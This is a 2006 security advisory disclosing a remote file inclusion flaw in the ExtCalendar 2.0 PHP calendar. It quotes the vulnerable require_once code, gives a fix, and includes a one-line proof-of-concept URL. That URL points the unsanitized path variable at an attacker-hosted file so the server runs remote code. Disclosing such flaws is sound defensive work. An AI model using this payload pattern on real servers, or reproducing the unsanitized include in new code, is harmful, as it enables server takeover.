matdhulegmail.com
Date: Fri Jul 07 2006 - 06:14:20 CDT

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ECHO.OR.ID
ECHO_ADV_36$2006

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[ECHO_ADV_36$2006] ExtCalendar <== v2.0 Remote File Include Vulnerabilities
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Author : Ahmad Maulana a.k.a Matdhule
Date : July 07th 2006
Location : Indonesia, Jakarta
Web : http://advisories.echo.or.id/adv/adv36-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ExtCalendar

Application : ExtCalendar
version : 2.0
URL : http://extcal.sourceforge.net/
Description :

ExtCalendar is a powerful multi-user web-based calendar application.
Features include Multi-Languages, Themes, Recurrent Events, Categories,
Users and Groups management, Environment and General Settings, Template Configuration, Product Updates.

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Vulnerability:
~~~~~~~~~~~~~~~

in folder com_extcalendar we found vulnerability script extcalendar.php.

-----------------------extcalendar.php----------------------
....
<?php
       global $mosConfig_absolute_path;
require_once( $mosConfig_absolute_path."/components/com_extcalendar/config.inc.php" );
require_once( $CONFIG_EXT['LIB_DIR']."mail.inc.php" );
        ?>
...
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Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mosConfig_absolute_path in extcalendar.php

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Shoutz:
~~~~~~
~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hackeryahoogroups.com, jasakom_perjuanganyahoogroups.com
~ #mardongan #jambihackerlink #e-c-h-o irc.dal.net
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Contact:
~~~~~~~

     matdhule[at]gmail[dot]com
     
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